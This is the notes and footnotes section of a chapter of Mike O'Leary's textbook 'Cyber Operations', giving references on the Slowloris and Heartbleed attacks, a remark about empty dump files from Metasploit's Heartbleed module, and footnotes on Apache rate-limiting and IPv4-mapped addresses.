More information about the Slowloris attack, including its history and its presentation at Defcon 17 is available from http://ha.ckers.org/slowloris/ . Slowloris attacks are not simply of academic interest. The web site pressable.com (a major WordPress hosting site) was the victim of a Slowloris type attack in January 2015; see, for example, http://status.pressable.com/2015/01/24/all-systems-operational/ .

Heartbleed made the news in many places during Spring 2014; a good starting place is http://heartbleed.com . The news went so far as to inspire an XKCD comic ( http://xkcd.com/1354/ ), which does an excellent job illustrating the flaw.

My experience with the DUMP action for the Metasploit Heartbleed exploit is that the data files stored may actually end up empty; this was the case in the example where no data was written to the file.

root@kali:∼/.msf4/loot# ls -l

total 0

-rw-r--r-- 1 root root 0 Jan 22 14:43 20150122144312_default_10.0.2.58_openssl.heartble_570320.bin

Footnotes

1

To generate a burst, more than 10 requests are needed. The first 11 requests triggers the first burst, 11 more triggers the second, and so the next request, number 23, is blocked by IP address.

2

Recall from Chapter 11 that Apache handles IPv4 addresses using IPv4-mapped IPv6 addresses.

© Mike O'Leary 2015

Mike O'LearyCyber Operations10.1007/978-1-4842-0457-3_14